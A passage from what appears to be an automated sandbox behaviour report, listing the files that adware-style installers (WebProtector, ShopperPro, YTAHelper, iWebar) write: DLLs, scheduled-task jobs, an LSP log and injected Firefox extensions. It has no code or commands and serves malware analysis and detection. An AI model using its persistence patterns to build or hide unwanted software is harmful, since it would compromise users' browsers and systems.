C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\jsdrv.exe (100669 bytes)

The process HPNotify.exe:4144 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1480 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process Txhzzaikvhn.exe:4036 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\vhkocnqdt.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Windows\Tasks\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\jpyvnw.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\319246 (3141 bytes)
%Program Files% (x86)\iWebar\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-5.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\uqkcauak.dll (30116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\lgtote.dll (23 bytes)
%Program Files% (x86)\iWebar\utils.exe (69293 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\ukrfuo.dll (30 bytes)
%Program Files% (x86)\iWebar\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\dvfshap.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\System.dll (808 bytes)
%Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7426.tmp (601762 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\12493 (88237 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp (4 bytes)
C:\Windows\Tasks\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-5_user.job (74 bytes)
%Program Files% (x86)\iWebar\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-4.exe (8020 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\lvvegaxuu.dll (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\tsouxst.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst7447.tmp\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-4.dll (45656 bytes)

The process WerFault.exe:3956 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0f7eccc0\Report.wer (241148 bytes)

The process WerFault.exe:1900 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_07648352\Report.wer (239510 bytes)

The process WebProtectorPlus.exe:3416 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtectorPlus\SetupComponents.exe (181 bytes)

The process WebProtectorPlus.exe:3220 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[2].gif (34 bytes)
%Program Files% (x86)\WebProtectorPlus\SetupComponents.exe (181 bytes)

The process uinst.exe:1744 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[3].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstB960.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstB960.tmp\System.dll (23 bytes)
%Program Files% (x86)\LiveWPPUpdate\LiveUpdateWPP_uninstaller.exe (1617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstB960.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\LiveWPPUpdate\LiveUpdateWPP.exe (11041 bytes)

The process uinst.exe:908 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE0CD.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[2].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE0CD.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE0CD.tmp\System.dll (23 bytes)
%Program Files% (x86)\LiveWPPUpdate\LiveUpdateWPP_uninstaller.exe (1617 bytes)
%Program Files% (x86)\LiveWPPUpdate\LiveUpdateWPP.exe (11041 bytes)

The process ein.exe:688 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtector\WebProtector_new.dll (12030 bytes)
%Program Files% (x86)\WebProtector\WebProtector.dll (3568 bytes)
%Program Files% (x86)\WebProtector\ToolbarData.ini (849 bytes)
%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe (1279 bytes)
%Program Files% (x86)\WebProtector\hotbtn.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssEA8D.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtector\btn.ico (1 bytes)

The process ein.exe:4528 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\WebProtector\WebProtector_new.dll (12030 bytes)
%Program Files% (x86)\WebProtector\WebProtector.dll (3568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstC9D4.tmp\System.dll (23 bytes)
%Program Files% (x86)\WebProtector\ToolbarData.ini (849 bytes)
%Program Files% (x86)\WebProtector\webprotector_uninstaller.exe (1279 bytes)
%Program Files% (x86)\WebProtector\hotbtn.ico (1 bytes)
%Program Files% (x86)\WebProtector\btn.ico (1 bytes)

The process powershell.exe:3928 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LTO1PZR7HOMKGRDWJ0KT.temp (196 bytes)

The process powershell.exe:5060 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DXVTWVYGTU5TILQAWMRQ.temp (196 bytes)

The process powershell.exe:5016 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S3BB6YIW00QBP8GXHJBX.temp (196 bytes)

The process ins_shopperpro.exe:1056 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2E23.tmp\setup.exe (1606835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy2E03.tmp (155186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2E23.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2E23.tmp\setup1.exe (144456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2E23.tmp\D1958.dll (30 bytes)

The process nsoB3C6.tmp:2456 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\9813[1].xpi (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\PrefMan.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\uinst.exe (18168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\ffwebex.xpi (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\webprotector_installer[1].exe (17968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\Timer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\TimePassed.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\WebsiteVerifier.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome.manifest (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\chrome (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\gp.up (68 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\tools\DaysPassed.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\tools\FFInfo.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\inetc.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ZipDLL.dll (3608 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\webprotector_chrome[1] (32 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SetupWPP[1].exe (16240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseC582.tmp (24004 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[2] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\nsProcess.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[4].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\node[1] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\ToolbarButton.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\safe150x30.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ein.exe (19778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\notSafe150x30.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\icon32x32.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\tools.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\icon16x16.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\Firstrun.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\wp.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\aints.exe (17874 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\AddonInfo.js (271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\GUID.js (599 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\tools\Os.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[1].gif (34 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\LiveUpdateWPP_is[1].exe (16384 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\main.css (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\MessageDisplayer.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\content\main.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\wp.css (330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\content\tr.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\node[3] (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\chrome\skin\favicon.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\FileCacher.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\ffex\rcted\modules\Observer.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\chrome\skin\loader.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\staged\{42c2ce50-98bd-87f8-6695-f76e817ccf5a}\modules\tools\DaysPassed.js (1 bytes)

The process regsvr32.exe:2988 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper.dll (409 bytes)

The process regsvr32.exe:3116 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (528 bytes)

The process regsvr32.exe:3936 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (442 bytes)

The process regsvr32.exe:3412 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper64.dll (491 bytes)

The process lspinst.exe:1600 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (417 bytes)

The process lspinst.exe:3212 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (417 bytes)

The process YTAHEL~1.EXE:4024 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB5.tmp (118586 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)

The process 83f1ffec-6878-4cb8-b1d3-b27024f7054e-4.exe:4492 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4cb92d74c380897ac0a963e699ed243f.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c1196a1791f56f2fb7bc7374115b9a92.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ab8b2387f0ec95da0958aaadeab1ecfb.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d60cdce86c1b1a1bb537047a9a69e7e0.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c1bda8ad2ce50b5cd82989fa9f31fd38.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\58904f97adf721298b270903df6cb520.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\cdad461fb239ed1516926d151c0041e3.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\15ea78dadf06b11df670d01a76104acc.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\da0e9a1a60085846382868c28a2efe50.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3eec12894edec0fa4cb6946bff4b3208.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c459a599eac470883b5c56c482342202.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
